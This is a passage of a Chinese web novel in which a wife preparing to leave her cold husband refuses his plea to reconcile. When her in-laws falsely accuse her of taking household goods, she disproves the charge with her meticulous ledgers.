季含漪见着容春迎过来,小声道:“先上马车吧。”
容春赶紧点头,扶着季含漪上了马车。
季含漪让车夫去正街,还有两日便过年了,她打算置办些东西往外祖母那儿送去,正好今日也结了银子。
季含漪首先去的是药铺,为母亲买了药,又去鼓楼大街的南货店买了些燕窝补品,给两位舅母和外祖母都送去一些。
她又想起她两位未出嫁的表妹,又去给两人一人买了一块缎子。
自从季含漪手上有些闲银后,每年都这般置办,只是今年送的稍贵重一些,也是因为她即将与谢玉恒和离,难免还要回到外祖母府上住一些日子。
她知晓顾家这些年不容易,大舅舅在离京千里的地方做一个几乎没什么前程的县丞,每月还要靠着大舅母让人送去银子才能勉强维持,前些日二舅母院里的表哥又出了那样的事情,府里上下,都是艰难的。
容春跟在季含漪的身边心疼银子的不行,小声道:“少夫人,省着点吧。”
容春是真的心疼,和离后的日子只怕比现在难过百倍,多存点银子总是好的。
季含漪笑了下:“你放心,我还存了些的。”
只是在布料铺子时,撞上了谢府的二夫人与扶着她的三儿媳。
正撞在掌柜将包好的布匹包好,容春直接让掌柜将布匹送到顾家的时候。
这家店铺的布料并不便宜,可以说是京城里最好的几家了。
谢二夫人没认出带着帷帽的季含漪,但看容春也认出季含漪来了。
她眼神似笑非笑的看着季含漪,又上上下下将季含漪打量了个遍,又笑道:“侄媳倒是总记着顾家。”
季含漪掀开纱帘,脸上含了一抹自然的浅笑:“上回去外祖家的时候见到表妹穿的料子好看,便找她讨了两匹,这会儿正巧见着一样的,便买来还回去。”
又道:“这铺子里的料子好看,二婶婶不妨也瞧瞧这个花色,应当也喜欢的。”
谢二夫人听着这话,眼神只往那布匹上瞟了一眼,便皮笑肉不笑道:“这颜色年轻,我不喜欢这样的。”
季含漪便点点头,寒暄了两句又道:“那二婶神慢慢选,我先回府了。”
谢二夫人看着季含漪退出去,等她一下退下,就问那掌柜,刚才季含漪买的那一匹布料多少银子。
听掌柜的说八十两后,谢二夫人的脸色一顿。
身边儿媳开口:“听说她当初嫁进来什么都没有,我看她平日里戴的首饰都素净的很,竟还舍得自己花银子买这么贵重的料子。”
“这些日听说她与大爷闹了什么,也不知道是不是故意找大爷闹着要的。”
“再有,我怎么不信她刚才说的,怕不是给什么她表妹,是给她母亲送去的吧,这些年不知晓拿了谢家多少东西往她母亲那儿送了。”
“还有我看她穿来穿去都是那几身衣裳首饰,那每季送到院子里的东西呢?”
谢二夫人眼底变了变,又低声道:“这事回去再说。”
马车上,容春一脸紧张的看着季含漪:“那谢二夫人最是喜乱嚼舌根的,府里的好些口舌都是她搬弄起来的,万一她去大夫人那儿胡说怎么办?”
季含漪脸上还算镇定,安慰着容春:“她就算说了也无妨,这些年她们总觉得我花用了谢府的银子和东西,但不管我花用了什么,账目上是记着的。”
“我院子除了每季各院分来的东西,我从未单独要过什么,没朝她们张过口,也更没往大爷跟前伸手要过。”
“即便是对峙,即便是一笔一笔的算,我也问心无愧,我没多拿谢家一分。”
容春听到季含漪的话,悬着的心也算平坦下来。
这些年大爷给表姑娘买的送的东西不少,可一件也没给少夫人
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买过。
即便买过,也是给表姑娘买的时候捎带的,少夫人全都放在了库房,也都一笔一笔记着。
的确如少夫人说的,问心无愧,又怕什么呢。
当初嫁来谢家的时候,顾老太太想着让少夫人在谢家被善待,还有少夫人的确也没什么嫁妆,谢家的聘礼就尽数还了去,一点没要。
少夫人又拿了谢家什么呢。
回了谢府,天色并不算晚,天边还有最后一丝微光。
后院里各院子忙前忙后,忙着布置院子,扫尘,布置年货,准备新衣,迎接来岁。
季含漪走在路上,这些忙碌与她擦肩而过,好似与她并不相干。
她恍恍惚惚的想起,从前临着岁末,她也这般忙碌过。
让丫头将院子里收拾一新,廊上挂上新做的灯笼,贴上辟邪的门画,再给底下丫头发赏钱图喜气,整个院子热热闹闹的。
她还会为谢玉恒煮除秽茶,熏艾香,即便他再不情愿,脸上满是冷清与不耐烦,她也依旧低声下气的哄着他。
跨入院子的那一瞬,季含漪只觉得恍如隔世。
院门口的嬷嬷见季含漪进来,早就等着了,一见着季含漪便连忙问季含漪院子里今年怎么布置。
这些日其他院子里早早的就开始了,都热热闹闹,可原本也该早早布置的院子,今年却冷冷清清的,半点年味也没。
嬷嬷着急的看向季含漪,眼里满是等着季含漪拿主意的迫切。
进了院子,十来个丫头都过来,眼里是与婆子一样的神情。
季含漪默默看着这些眼神,只让院子里管事嬷嬷林嬷嬷跟着自己往主屋走。
林嬷嬷跟在季含漪的身边,又说今日管家又送了新的首饰和布料,还有之前做的衣裳,还有些熏香和茶,还有几碟子五芳斋的糕点和一些果子,都放在主屋内的。
这些都是每年会往各院送的,她是长房嫡媳,其实每年送来的东西都是极好的东西,林氏也的确没苛待过。
季含漪听罢也只是点点头,继续往前走。
这间主屋季含漪已经很少来了,再踏进这里,竟然觉得有些陌生。
她坐在罗汉椅上,让容春将早准备好的银子拿出来交到林嬷嬷嬷嬷的手上轻声道:“今年有些事情耽搁了,没来得及给院里下人们做衣裳,还劳烦嬷嬷出去给解释一下。”
“这些赏钱每人多给了一两,自己拿去做衣裳吧。”
林嬷嬷听了这话,眼眶一下子热了,往年的时候,虽说其他院也给下人做衣裳,但少夫人做的衣裳总是最厚实的。
少夫人是谢家少奶奶里最拮据的,但但对她们这些下人,却从来没有亏待过。
林嬷嬷红着眼眶道:“少夫人往年给做的衣裳都还在呢,少夫人从前让人做的衣裳好,棉又厚,穿几年都不会坏,即便今年不做,也能穿的。”
她又将手里的银子往回推:“院子下人都明白少夫人的善心,哪里敢要这么些银子,少夫人平日里也要花用,便留着吧。”
第60章 我们一直都没好过
林嬷嬷的话渐渐说完,说到最后,声音竟微微哽咽了。
其他院的少夫人,哪个没有自己的体己和丰厚的嫁妆,平日里都穿的富贵,唯有她们少夫人,什么都没有,只能靠着公中拨,平日里穿的素净,戴那些陈旧的首饰,还要被其他少夫人背地里嘲笑。
少夫人唯一穿的富贵体面的时候,也唯有外出和回顾家的时候。
那妆匣里统共也就那几件首饰,都是大夫人每季让人送去各院让选的,也从没自己添置个喜欢的。
大爷平日里也不上心少夫人,别院的爷还总买些首饰,但大爷连留在院子里的都少,更别说给少夫人买些什么东西了。
倒是那表姑娘,时不时的就往少夫人这儿凑过来,总在少夫人面前说大爷为她置办的东西,她们这些下人都看不下去。
她们也都不明白,明明少夫人哪样都比表姑娘好,可大爷眼里独独喜欢表姑娘,独独只看得到表姑娘。
她们都明白少夫人的难,怎么能要这么多银子。
林嬷嬷忙道:“院子里的下人都明白少夫人的好,衣裳银子我们都不能要的。”
季含漪看林嬷嬷眼里还含了泪,这瞬间倒是觉得值得了。
她真心对的人,也在真心对她。
她含笑推回去:“拿着便是,这大抵也是我最后一次给了。”
“今年院子里便不用布置了,还是按着往先那样打扫,若是有告假归家的,依旧由你来记好人,还是老样子,到初七之前,院子里至少留一半的人伺候,别都假去了。”
这些林嬷嬷已经熟记于心,她一边点头,又一边抬袖抹泪。
她不知自己哭什么,她一个下人说的话也人微言轻。
她只知道,少夫**抵是真的不愿留下了。
容春见林嬷嬷哭的伤心,连忙过来劝着,正劝的时候,谢玉恒从外间走了进来。
这是这些日子来,季含漪再一次见到谢玉恒,她低头叫林嬷嬷拿好银子出去给下人发了,林嬷嬷也知晓大爷来了,她不敢再留在这里,连忙退了下去。
谢玉恒看着从身边过去的林嬷嬷,手上拿着银袋,眼眶通红,还不时有泪滚出。
这一瞬脚下千斤重,他站在原地看着季含漪,她低着头也没看他,只让容春去清点清点今日管家送来的东西。
谢玉恒喉咙发哽,他往季含漪身边走了一步,低低问她:“你给院里丫头打赏多少?”
这些事情谢玉恒从前从来不会过问的,季含漪抬起头,还是开口:“每人二两银子。”
这院子里统共十几个下人,这么一赏赐下去,都三四十两了。
要知晓一个丫头一年也不过一两多的银子。
他知晓过年要打赏,毕竟是底下人,不打赏背地里做些什么也不知晓,但如谢家这样的门第,也不过打赏几百钱就够了,哪里有二两。
谢玉恒皱眉看着季含漪:“你哪儿来的银子打赏这么多。”
季含漪低头看着茶盏上的水仙刻花,声音很平稳:“大爷不必担心,是我的私房。”
一句话,将谢玉恒所有的话都堵在喉咙里。
是啊,那是她的私房。
他第一回关心她:“你的私房不多,为什么不来找我。”
季含漪只是道:“大爷不用操心这些后宅的事情。”
清清淡淡的一句话,叫谢玉恒熟悉又羞愧。
是的,他记得他说过类似的话。
他说,后宅的事情便不要总是来烦他。
季含漪不愿与谢玉恒再说这些生疏客套的话,等初五老太太的生辰一过,季含漪便会离开了。
她依旧维持着两人的体面又开口:“我书房还有些事情未做完,先往书房去了。”
谢玉恒忽的弯腰,他一只手撑在小炕桌上,挡住她起身离开的去路,他紧紧看着她,声音里带着些不平稳的颤音,平日总是冷清的人,眼里竟然带了一丝祈求:“含漪,我们重新来过。”
“我们之间能不能不要这样?”
“我知晓你心里还是有我的,你只是在意我对明柔的关心,明柔很快就走了,我往后日日回主屋来。”
“含漪,我们还能和从前一样的。”
谢玉恒靠的很近,近的他的呼吸都快要扑过来。
但季含漪只觉得从心底生出股不适来。
她再也没有法子接受这样的距离,接受与谢玉恒任何一个亲近的举动。
她看着谢玉恒的眼睛,后颈微微后仰,声音很轻:“大爷,我一点都不喜欢从前的日子。”
“我也一点不想要回到从前。”
“我们之间也不能重新来过了,大爷便当我不喜欢了罢。”
不喜欢了。
这话如尖刀刺进谢玉恒的心里,谢玉恒忽的红了眼眶。
他死死看着季含漪,沙哑道:“含漪,别说气话。”
“我们一直都是好好的,别再说这些话。”
季含漪见着谢玉恒的神色,那神色好似对她情深意重。
她忽心生厌恶的蹙眉:“我们一直都没好过,大爷觉得好只是大爷觉得罢了。”
“这三年于我来说,犹如噩梦一般。”
谢玉恒手上一抖,眼睛紧紧看着面前的人:“这些年你什么都没说过,你有委屈为什么不说?”
“为什么要忽然就要说和离?”
“你定然是还在与我置气的。”
“那夜是我的错,你是我的妻,我本该先带你走的,我原本以为你的身子比明柔好,不会生病的,对不起……”
这声迟来的对不起,早已失去了任何意义。
季含漪其实还一直想保留两人之间最后那点体面,但现在看来,谢玉恒显然连体面都不
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想要。
她第一次在谢玉恒的面前有了不耐的神情。
在这一刻季含漪终于明白了,不喜欢与厌烦一个人,真的会毫无耐心。
就如从前谢玉恒在她面前那般,冷清无话,从不肯对她多说一个字。
现在她从他身上学会了那样的感觉。
她亦冷清的看着谢玉恒:“院子里的那棵梨花树三月就会盛开,花开的时候当真很美。”
“马上就要到明年三月了,花开的时候,是大爷最高兴的时候吧。”
“我先祝大爷与将来的妻子百年好合,也请大爷放我一马,也当我这三年在院子里尽心尽力的份上。”
“我们好聚好,行不行?”
撑在小坑桌上的手臂在轻颤,心绪如何只有谢玉恒自己知道。
他看着季含漪那双看着他再也没有昔日温情的眼睛,她再也没有在人后唤他一声夫君。
他想起她刚来院子里种下的那些芙蓉花,那些芙蓉花原本也好看的,可也是他叫人连根拔起的。
那是他看到过她最伤心的一次。
谢玉恒忽然心头发疼的不行,他急促道:“来年我将那颗梨树砍掉,全种上你喜欢的芙蓉花。”
“含漪,我们能好好开始的。”
季含漪只是看了谢玉恒一眼就摇头:“我不需要了。”
“这院子里往后种什么花,种什么树,都与我没关系了。”
谢玉恒愣愣看着季含漪的神色,那淡漠冷静的眼神,让他觉得面前的人不是季含漪。
他忽然红着眼咬牙道:“含漪,你说这些气话又何必?你离了我还有谁愿意娶你?”
“如今我想与你好好过下去,你为什么还这么固执?”
“往后你过得凄凉,我也绝不会管顾你的。”
似是气急败坏的声音,季含漪听了也只是平静的点点头:“大爷,这样最好。”
谢玉恒眼里就冒出血丝来,忽然起身,将小坑桌上的茶炉茶盏和果盘,全都扫到了地上。
碎裂声此起彼伏,谢玉恒眼眶通红的指着季含漪,可他指着她半晌也没说出一个字来,又踢了一脚罗汉榻,转身就走了出去。
谢玉恒走到外头,他看着冷清的院子,什么布置都没有了,下人们也死气沉沉的站在一边,脸上更没有过节的高兴神色。
别的院子里都是一派喜气,唯有这里。
唯有这里……
谢玉恒有些踉跄的站到庭院中间,环顾着这个冷清的院子,从前他觉得**以为然的一切,原来都是季含漪在做。
他在书房那么些日,也再也没有暖身汤送来了。
他的衣裳也再也没有人仔细的为他熨烫熏香。
他脑中总是回荡着季含漪的那句话,再也回不去了。
他眼底发热。
逃离开这座空荡再也没有热闹气的院子。
第61章 诬陷拿谢家东西
谢玉恒走后,屋内的季含漪低低看着脚下的碎瓷与泼了一地的茶水。
她与谢玉恒的这三年,就如脚下的这一地狼藉。
在外谢玉恒是大理寺一身清正的朗朗君子,年轻有为,家世显赫,在内他从不管府里的事情,他习惯了留下如脚下的这一摊子狼藉让她来收拾应付。
他可以不管不顾的走,从没顾过她。
容春从外头进来,看到季含漪脚下的这一堆,连忙走了过来。
季含漪叫容春别担心,又问:“东西清点好了么?”
容春忙点头:“都清点好了。”
季含漪点点头,让容春又去将她记录的册子拿来。
依旧坐在罗汉榻上,季含漪翻开册页,让容春将刚才清点的念出来,一边念她一边记录。
这本册子记录了她来谢府从公中送来的每一样东西,包括各房偶尔送来的东西,也都仔仔细细的记录好。
容春不解的问:“少夫人现在还记这个做什么?”
季含漪垂眸落笔,声音不轻不重:“谢家人总觉得我嫁来谢家什么都没有,人人都觉得我贪谢家的东西,我主动拿着婚书来,是贪恋谢家的富贵。”
“我将这些一笔一笔记好,我没多拿,也没多用,公中送来的布匹,都在库房里放着我也没动,即便动了,也是给大爷做了衣裳,我自己也穿的是每季送来的成衣,没自己做过。”
“那些首饰我也放的好好的。”
“不管什么时候,有这个册子在,和离走的时候,她们若是要算清楚,我也能算清楚的。”
容春听了这话,心里满满都是不甘心。
她难受道:“那姑娘这三年在谢家做的一切,又算什么呢?”
季含漪的笔尖微微顿住,灯下影子朦胧,花窗外风声忽起,她细声道:“就当作我识人不清的劫难吧。”
“父亲当年答应定下与谢家的亲事,也想不到往后的,我经历过一遭,这就够了。”
容春依旧难受,可事到如今,说之前那三年,的确也毫无意义了。
季含漪写完,等墨干后让容春收好册子往后廊房走,又叫外头丫头进去将屋内都收拾干净。
林嬷嬷跟在季含漪的身边,难受的问:“少夫人今夜也不留在主屋么?”
季含漪点点头,她离离开也没几日了,就更没留在主屋的必要了。
林嬷嬷看着季含漪的背影,又看着空荡荡的主屋,身边几个丫头也跟着伤心起来。
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到了第二日下午的时候,林氏的发难便很快来了。
季含漪上午正在修剪从梅林摘来的梅枝,林氏身边的婆子来传话的时候,看向季含漪的眼神里带着几分幸灾乐祸。
季含漪安静的将手上的花枝插入梅花瓶中,这才对那婆子客客气气道:“嬷嬷先去回话,我收拾下就过去。"
等那婆子走后,季含漪才叫容春去拿披风来,她自己系着披风带子,又让容春去将她记录的册子和账目也一并带上。
走到廊下,外头的冷气袭来,季含漪将斗篷上的帽子戴在发上,又呵出一口白气。
她知晓,这本册子到底还是用上了。
从她那年嫁进来看到谢家的态度时,她就知晓总有一天会用上的。
不过也好。
低头一步一步下了台阶,冷风还是透过帽子吹进来,耳边的坠子打在脸上也是凉的,季含漪不由将脸上的雪帽也拢紧。
到了婆母的院子,院门口的丫头忙进去传话,季含漪走进院子,跨进外间,里头还未停歇的声音就微微传了出来,依稀可以听出是谢二夫人的声音。
“大嫂也别多想,倒不是我非得来多这个嘴,谢家也不是可惜这点东西,可这事放谁身上能想过去?”
“这不就跟身上缠了根吸血藤,虽说吸不了多少,也能轻而易举的拔除了,但瞧着膈应不是?”
再往后便没声音了。
季含漪垂眼,唇边若有若无的讽刺笑了笑,掀了帘子进了暖屋,一边解开身上的斗篷递给身边的容春,一边站去中间问安。
屋子里坐着婆母和谢二夫人张氏,还有二夫人的儿媳三少夫人余氏。
齐刷刷的眼神往季含漪身上看过来,就如她是什么罪人般。
林氏看季含漪的眼神里微微带了点冷,让季含漪去一边坐下。
季含漪坐去了没人坐的右边,又伸手接过丫头送来的热茶,茶香缓缓冒出来,她低头饮了一口。
余氏往季含漪身上看过去,只见季含漪里头是白色交领,外头罩着件宝蓝色圆领宽袖袍,衣裳上是月白地胜灵芝纹,下头穿的是的牙白色的马面裙,裙上是一幅淡雅杏花图。
这一身她两年前就见季含漪穿过,没想到她如今还在穿。
又看向季含漪耳边的那一对嵌绿松石的金耳坠,还有发上那支金镶珠梅花鬓边花簪,脖子上一串嵌珍珠宝石金项链,都是些陈年老款式了。
但季含漪生的好,白净又匀称,坐态雅致,那身上的宝蓝色寻常人穿不出来那股雅气高贵,但在季含漪身上,却更显得她肤色白净,坐在那处玉净花明,不自觉会被她吸引目光。
就连那窗外透来的光线落在她身上,都格外偏爱她,在她身上闪烁着柔美细碎的流光。
从前还在闺中的时候,余氏就已经认得季含漪了。
那时候季含漪在京中贵女里也是人人羡慕的,季家独女,生了一张极好的面容,在哪场宴会里也都引人注目,且听说她书画极好,极有才名。
她曾经也想过与她结交,只是一直没有机会,可哪成想如今两人成了妯娌。
季含漪从高处跌落,她虽嫁给的是谢家大爷,可如今境遇却远远比不上自己,自己被夫君疼爱,被婆母关照,季含漪又有什么呢。
当初艳羡的人,如今也不过如此,她心里竟有些隐隐的痛快。
林氏的目光也落在季含漪身上,见着她身上的穿戴,斜斜看着她,不轻不重的问:“这些年谢家亏待你了?”
季含漪放下茶盏,认真的回话:“不曾的。”
林氏的眼神便一冷:“那是谢家给不起你衣裳穿了?”
季含漪摇头:“并不是。”
林氏便冷笑一声:“那每年往你院里送去的布料衣裳怎么没见你穿
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过?”
说着林氏淡淡瞟了季含漪一眼:“你与我说实话,是不是你将谢家给你的东西,都拿回顾家去了。”
说着她又冷笑一声:“又或是你将谢家的东西拿出去卖了换银子补贴顾家了?”
季含漪身上这身衣裳的确穿了两年,但她衣裳并不算少,这又是冬衣,其实统共也并没有穿过几回。
她看向林氏解释了一遍,又道:“再有顾家的确比不上谢家,但也不至于要儿媳将谢家的东西拿去顾家补贴的。”
林氏冷眼看着季含漪:“你说没补贴就没补贴了?”
“八十两一匹的布匹,你眼不眨一下就买下送去顾家,我看你倒是大方,你每月例银不过五两,你哪来这么多银子?”
"我知晓你名下有间铺子,但营收也并没有太好,单给顾家两位姑娘买料子就这么舍得,其他人你又花用了多少?银子还不是谢家出的?"
旁边的谢二夫人看着季含漪接话:“侄媳,不是婶婶说你,再怎么样你也嫁进了谢家,怎么还做这样的事情?”
“谢家虽然不差这点,但也不是大风刮来的不是?”
“你即便要给,又何必人后偷偷摸摸,这样说起来也不好,你要是与你婆母和大爷说,怎么着也会帮衬一二的。”
谢二夫人历来是个看热闹不嫌事大的,府里头闹得越乱她越高兴。
二老爷是京府通判,平日里结交的妇人也多,季含漪明白,这回若是不解释个明明白白,谢二夫人这张嘴怕是要说的满京城皆知。
再说她说的这话,听起来也甚是讽刺。
季含漪站起身看向谢二夫人:“二婶神这些话从何而起?偷偷摸摸这话又从何而来?”
“是二婶神亲眼瞧见的?还是旁人瞧见与二婶神说的?但请二婶婶说出个出处来,或是来对个峙,府里头平日里一团和气,但二婶神的话若是空穴来风的,这样无凭无故的牵起话头,不是引些争论?”
谢二夫人被季含漪这么直白的一对过来,脸上有些难看僵硬,便又道:“上回碰见侄媳买布料,那一匹可不便宜,侄媳就这么大方?”
说着她又笑了一声:“也是我多事,非要回来多这么一嘴。”
“我也不是有其他意思,就是与你婆母家常两句,瞧瞧,哪成想闹成这样,侄媳也怪在我身上了,还引了人怨恨。”
这话将她中间的挑拨推了个干净,季含漪看了谢二夫人一眼:“二婶婶回来说这些,不就是为了挑拨的?”
“但既二婶神有疑虑,也是常情,我也没那怨恨的心。”
“正好二婶婶在,瞧明白误会也好,免得将来还生出什么误会出来。”
说着季含漪再看向林氏:“母亲不信儿媳,儿媳无法辩解,但请母亲看一眼这册子,这些年公中送来的东西尽数在册子里,除了糕点补品吃食,还有几匹布料给大爷做了衣裳,但凡用了的东西,也做了标记的,剩下其余的尽数在儿媳房中和在库房里,婆母若是不信,可派婆子去清点。”
季含漪说完,从容春手上将准备好的册子拿过来交到林氏的手上。
第62章 谢家东西她一样没拿
季含漪忽然送来一个册子,让微微林氏一愣,看着季含漪手上那厚厚一沓,稍微有些震惊的接了过来。
她没想到过,季含漪居然会记录这些。
她接过来翻开两页,上头记录事无巨细,日期时辰,就连是哪个婆子送来的,都记得清清楚楚,从她进府的那一天起都记录好了。
甚至她随手给季含漪赏赐的一碟果子,季含漪也记录在了上头,还有院子里收来的礼金,季含漪也全都记录在上头。
上头不仅记有公中送来的,还有谢府每人单开一项,谁什么时候送来什么东西来,也都记录在上头,便是一块手帕,都记在上面。
还有送出去的礼物,在最后面也完完整整的记着。
林氏正在震惊之余,季含漪又给了林氏另外一本册子,那册子上完完整整的记录了她院子里的所有开支,给下人的打赏,房屋的修缮,花草打理的银子,还有逢年过节打赏的银子,还有结交送礼的,林林总总算起来,那每月的五两也没有剩下多少,有时候还不够。
谢家的人情来往多,谢玉恒又是谢家大房的长子,但凡哪家有个事情,都要送礼,还不能送寒酸了,这一笔的开支是最大的。
最后季含漪再给林氏看了最后一本账目。
那账目是她铺子的账目,只给了看了最近几月的收益。
她那间铺子的收益算不上好,每月除去所有,还算有百多两的银子。
林氏一本本看完,又怔怔看向季含漪。
季含漪对上林氏的视线,低声道:“母亲可以请身边人对着册子去儿媳院中核对,库房里的东西每样都按着品类放好的。”
林氏脸色复杂的看着季含漪问:“这些都是你自己记的?”
季含漪点头:“来往的东西繁多,儿媳记录这些,也是为了好理清楚院子里的东西。”
坐在林氏身边的谢二夫人看林氏拿着册子,脸上带着震惊,她也忍不住去拿了过来看,这一翻也惊到了些。
她没想到季含漪居然事无巨细的记了这么多。
她却又对林氏小声道:“这册子里记得是细致,可万一是她胡写的呢。”
林氏这回冷冷的看了谢二夫人一眼,都是她挑起来的事,都这会儿了,还在挑拨。
不过她其实也知晓谢二夫人说那些话是在挑拨的,但是她这些日子对季含漪心气不顺,也的确相信了一些,才来对季含漪发难,谁想现在季含漪竟然拿了这么多东西出来。
她管着府里的公中,往哪个院子里送了什么东西,她还是记得的。
季含漪不管怎么说都是自己的儿媳,她也不会苛待给自己儿子院子里的东西,每样她都是亲自看的,怎么可能不会记得送了些什么过去。
她虽说不是完完全全全部都记得住,但这册子上写的,也**不离十,况且她那里所有的开支也都有记录,季含漪应该也不敢用这个来骗她。
但她还是让婆子去将她的府中账目拿过来,对着日期随意对了几项,却都是完全对得上的。
说明季含漪这一整本册子,几乎没有差错。
林氏沉默的合上了册子。
旁边的谢二夫人看着林氏的这个神色,脸上微微僵硬起来,看来册子应该是能对上了。
这时候她也有些尴尬,站起来就打算走:“这说来说去也是大嫂院子里的事情,我在这儿也多余,我就先走了。”
季含漪看着谢二夫人:“刚才二婶神说我偷偷摸摸拿谢家的东西补贴顾家,如今事情还未水落石出,还未对着册子去清点,也请二婶婶再等等,免得往后再闹出什么误会来,又成我偷偷摸摸了,我怎担得起这名声?”
"再有,我是一心想着府里和睦的,但出了事,还是先弄清楚的好。"
谢二夫人一愣,看季含漪这般得理不饶人,便干笑一声道:“你看这事闹的,我哪是那个意思?也不过就是随口一说,侄媳倒是较真上了。”
季含漪看着谢二夫人:“二婶婶随口一句玩笑话,可能就毁了我的名声,也将我置于贪心的境地,怎么能是较真呢?”
谢二夫人彻底呆住,干巴巴的看向林氏:“大嫂,你瞧瞧这……”
“我这还不是为大嫂操心?”
林氏冷淡的看了谢二夫人一眼,难得替季含漪说了句话:“这事的确有误会,你往后别再提了,含漪毕竟是我儿媳,这闹将出去,也是我院子里的事。”
谢二夫人连连点头:“是大嫂说的这个理,我可没往外头说,只与大嫂说说的。”
林氏头疼的揉了揉眉头,让谢二夫人先别说话。
余氏看了季含漪一眼。本以为今日能看场好戏,没成想季含漪竟样样记录在册,不知怎么的,她生出了些唏嘘,也没了对季含漪的幸灾乐祸了,反而对她生出了几分可怜。
好歹也是谢家长房儿媳,却没什么风光的,过得这般小心翼翼,谢大爷也不喜欢她,婆母对她也就这般。
这样一想,从前的那点自卑现在也没了,季含漪的日子早就不如她了,何必再踩踏人一脚。
林氏又问季含漪:“这本册子你记得这么清楚,是谁让你记的。”
季含漪如实回话:"儿媳自己记的。"
林氏深吸了一口气,脸上忽然有种失了脸面的难堪。
她又冷哼一声:“我倒是不信你真这么详细大方,连院子里的修缮都是自己贴银子,是不是平日里找玉恒拿银子了?”
季含漪面上依旧是安静的:“婆母若是不信,可以找大爷问问。”
季含漪这般平静,倒是又显得林氏没理找事了。
她忽心生出一股恼怒来,将手上厚厚的册子交到身边的婆子手边,眼睛紧紧看着季含漪:“她既说去核对,那便去核对,我倒是要看看,是不是真是这么回事。”
婆子也不敢怠慢,又叫了两个婆子一起去。
这场清点,一直清点到了天色微沉才完。
进来的婆子将册子恭恭敬敬的呈到林氏的手边,低声的回话:“回大夫人的话,老奴们都
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仔细核对了,东西一样不差,都在的。”
册子给过去的时候,林氏要去接册子的手微微一僵。
旁边的谢二夫人脸上也是微微一僵。
谁能想到季含漪当真没拿谢府的任何东西,她那天在铺子里买布匹的银子也真的是自己的银子。
而婆子接下来的话,更叫林氏脸上的神色凝固。
那婆子又小声道:“放在库房里的东西,大半都是新的,少夫人院里的嬷嬷说许多东西放进库房里后,少夫人都没动过,还落了层灰。”
“给谢府的各房送的生辰礼或是百日宴一些喜事,也没拿用过库房的东西。”
这话落下来的时候,暖屋里一静,侯在屋里的下人两两对视,又看向坐在一边没有言语的季含漪。
谢二夫人此刻也不知道说什么话了,尴尬的连看季含漪一眼都觉得不好对上她的眼睛。
这谢府里头,谢二夫人是最喜拿季含漪当初两抬嫁妆嫁进谢家来的事情说事的,不过也是求个心里平衡。
谢大夫人管家,儿子比自己儿子有出息,但儿媳妇不怎么样,越说心里才越舒坦。
这会儿这事闹得她脸上尴尬,她坐到最后本以为能看个期待的结局,没想到竟然是这样。
她又不得不承认,季含漪本就没什么嫁妆,谢家这么多好东西,她竟然当真没拿一点,这点她是佩服的
当下也知道自己再留在这里也如个笑话一般,谢二夫人匆匆站起来,草草说了句院子里有事,就打算走。
林氏看了谢二夫人一眼,叫住她:“往后在府里少嚼些舌根。”
谢二夫人脸上微微一变,这是将这事全推她身上了?当下就怼回去:“我也不过是提个话头,要查的可是大嫂。”
说着谢二夫人看向季含漪,咬咬牙还是低声道:“侄媳,婶婶这些话也不过说说,你别放在心里去。”
“你放心,往后这事我再也不说,看看这闹成了这样,都是误会,也别平白伤了一家人的和气。”
季含漪淡淡的眸子看向谢二夫人:“我向来不伤和气的,今日也不过话说到这里,有些话二婶神不经意,但旁人听到的便不是这样了。”
“二婶神理解便好。”
谢二夫人看季含漪没紧抓着这件事不放,心里也松了口气,连忙点头:“也是这个道理,你放心,这话我再不说了。”
说着谢二夫人匆匆带着秦氏一起出去了。
屋内只剩下了林氏和季含漪。
林氏手上捏着沉甸甸的册子,心里有股羞恼,但又无从开口。
她是季含漪的婆婆,更不能自己朝着她认什么错。
便又将手上的册子扔到季含漪面前,另外发难:“你记这些,是怕我们谢府怕你用了东西不成?”
“你又记给谁看?”
季含漪抬眼,看着林氏微微气恼的脸庞,她的声音浅淡:“今日要不是出这件事,儿媳也从没想过拿出来。”
“儿媳也更从来没想过,这册子还有这样的用处。”
第63章 他对她大抵是真的不好的
季含漪的话呛的林氏一哑。
她深吸一口气又冷笑着看着季含漪:“我是不信你这么舍得用自己的银子的,等玉恒回来,我定然要好好问他,看看是不是你朝他拿银子了。”
季含漪也很配合林氏的点头:“婆母既不放心这个,儿媳也无话可说,婆母尽可问大爷便是。”
林氏看季含漪这不慌不忙的答话,没有半点心慌的模样,又是觉得一个拳头打在了棉花上,像是拿这个儿媳半点法子都没有了。
甚至林氏自己都觉得,自己现在也是在刻意找她的不对。
林氏深吸一口气,终于不耐烦的开口让季含漪先回去。
等季含漪一走,林氏看着季含漪的背影消失在了帘子后面,她才撑着额头长长吐出了一口气。
刚才拿着册子去清点的婆子这才弯腰站在林氏的身边低声道:“刚才老奴去清点册子里的东西的时候,也打听过院子里的丫头,那些丫头说大少夫人平日里节俭,公中送来的东西,即便是吃的,也少有限留给自己吃用,都是先留给大爷,选的香和茶叶也都是大爷喜欢的。”
这婆子去院子里,看了那妆匣里的首饰,说实话,她看着都难受,一年公中能送几件首饰?不过两三件簪子耳坠和手镯,别家少夫人哪儿这么寒酸,少说几匣子的首饰,大少夫人也只那简单的几件,公中送来的首饰好些还放在库房里,她去看的时候,那匣子上真落了灰,显然放进去了就没动过。
那院子里的丫头见着她们几个婆子去清点东西,以为大少夫人出了什么大事,个个眼眶都红了,说尽了大少夫人的好话。
说实话,若是大少夫人是那等贪慕钱财的,必然要苛待下人,可那院子里的下人个个维护,那哭声也不是假的,她都还劝了一阵。
再有,大少夫人平日里装扮的素净,对谁都是含着一分笑意,极好相处的模样,怎么瞧也不像是会做这样的事情来的。
说来说去,大夫人这般做,是将大少夫人的脸面践踏,怎么也是自己的儿媳,传出去了也不好听,更何况也真没拿谢家的东西。
婆子将这些也说给了林氏,又道:“这回应是冤枉了大少夫人了,随去的婆子都瞧见了,那真是一件不落,就连送来的皮子,一副抹额这样的小东西都在。”
林氏听罢撑着头,闭着眼睛,心里一时竟不知道是什么滋味。
这些年她是有意无意的防着季含漪,就是怕她将谢府的东西拿去补顾家的窟窿,但是这会儿仔细一想,真要说季含漪真拿了什么,谢家帮了顾家什么,也真是一件事想不起来。
这个她一直防范着的儿媳,不声不响这些年,最后又不声不响做了这样一本册子,她是什么都明白。
林氏缓缓吐出了一口气,又轻飘飘的淡淡道:“这事往后便别提了。”
季含漪回了院子,快到了的时候才发现丫头们都在院门口站着,一见着她回来,一个个的便围了过来。
季含漪想着大抵是林氏身边的婆子过来清查东西,将院子里的下人给吓住了。
毕竟她要是真出了什么事,院子里的下人也可能遭殃。
季含漪唇边带了丝笑意,对着林嬷嬷道:“没事的,不过是年底核对些东西,你们别乱想。”
